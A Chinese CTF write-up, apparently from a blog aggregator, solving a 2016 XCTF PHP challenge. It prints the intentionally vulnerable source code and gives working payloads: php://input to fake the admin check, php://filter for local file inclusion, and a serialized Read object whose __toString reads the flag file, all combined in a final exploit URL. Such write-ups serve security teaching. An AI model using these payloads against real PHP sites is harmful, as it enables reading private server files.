2016xctf一道ctf题目
来源:互联网 发布:js时间戳相减 编辑:程序博客网 时间:2024/06/05 15:27
首先是index.php:
<?php$user = $_GET["user"];$file = $_GET["file"];$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; if(preg_match("/f1a9/",$file)){ exit(); }else{ include($file); //class.php $pass = unserialize($pass); echo $pass; }}else{ echo "you are not admin ! ";}?><!--$user = $_GET["user"];$file = $_GET["file"];$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php}else{ echo "you are not admin ! ";} -->
然后是class.php
<?phpclass Read{//f1a9.php public $file; public function __toString(){ if(isset($this->file)){ echo file_get_contents($this->file); } return "__toString was called!"; }}?>
最后是f1a9.php
<?php//flag_Xd{hSh_ctf:e@syt0g3t}?>
解析:
这个题目考察的是php封装协议和lfi
这个题目首先要突破的是:
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
如何让file_get_contents($user,'r')==="the user is admin"呢?
答案是用php的封装协议php://input,因为php://input可以得到原始的post数据:
所以这样就可以绕过第一个限制
然后我到了:include($file); //class.php 这一步
这个很明显是暗示你去读取class.php
如何读呢?这里用到php的另一个封装协议:php://filter
利用这个协议就可以读取任意文件了
利用方法:php://filter/convert.base64-encode/resource=index.php
这里把读取到的index.php的内容转换为base64的格式
于是:
这样就得到class.php的内容,但是我们这样可以直接读取flag文件吗? 答案是不能,因为:
if(preg_match("/f1a9/",$file)){
exit();
但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
这里也是利用php://filter来读取flag文件
最后我的payload就是:
http://localhost:8000/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
0 0
- 2016xctf一道ctf题目
- 一道CTF
- 南邮一道ctf题目关于e的解释
- XCTF:练习CTF解题XMAN比赛 8-8 login
- CTF题目整理
- ctf题目:啥
- CTF 题目练习题库
- ctf题目 Web5
- ctf题目: 前女友
- ctf部分题目思路
- 一道ctf中的编码问题
- 一道题目
- 一道题目
- 一道题目
- 一道题目
- 一道题目
- 谁是卧底-CTF题目writeup
- 一道ctf pwn 的思路以及解法
- 二 MFC编程入门之VS2010/MFC应用程序框架
- Material Design控件之二Snackbar
- GPU performance tunning
- visual format string
- vector中erase用法注意事项
- 2016xctf一道ctf题目
- Xilinx 官方example的TCL使用
- 关于iOS Tabbar的一些设置
- 常见的RuntimeException
- 7.4.2 程序中断方式
- proc文件系统的使用
- Xcode 8 升级 Swift 3.0 问题。
- iOS开发 指定页面关闭右滑手势返回功能
- NFS服务器安装配置和使用